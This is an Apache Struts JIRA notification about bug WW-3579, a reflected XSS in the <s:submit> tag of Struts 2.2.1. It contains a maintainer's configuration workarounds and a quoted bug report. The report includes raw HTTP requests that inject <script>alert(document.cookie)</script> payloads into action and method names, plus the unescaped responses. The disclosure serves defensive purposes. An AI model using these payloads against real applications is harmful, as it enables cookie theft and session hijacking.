You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@struts.apache.org by "Lukasz Lenart (JIRA)" <ji...@apache.org> on 2011/02/22 12:28:38 UTC

[jira] Commented: (WW-3579) XSS vulnerability

    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12997750#comment-12997750 ] 

Lukasz Lenart commented on WW-3579:
-----------------------------------

There are two workarounds:

1. disable Dynamic Method Invocation adding to struts.xml the line below:

<constant name="struts.enable.DynamicMethodInvocation" value="false" />

2. Second options is define a custom global exceptions mapping in struts.xml, as below:

/* struts.xml */

        <global-results>
            <result name="error">/error.jsp</result>
        </global-results>

        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>

/* error.jsp */

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head><title>Simple jsp page</title></head>
<body>
    <h3>Exception:</h3>
    <s:property value="exception"/>

    <h3>Stack trace:</h3>
    <pre>
        <s:property value="exceptionStack"/>
    </pre>
</body>
</html>


> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira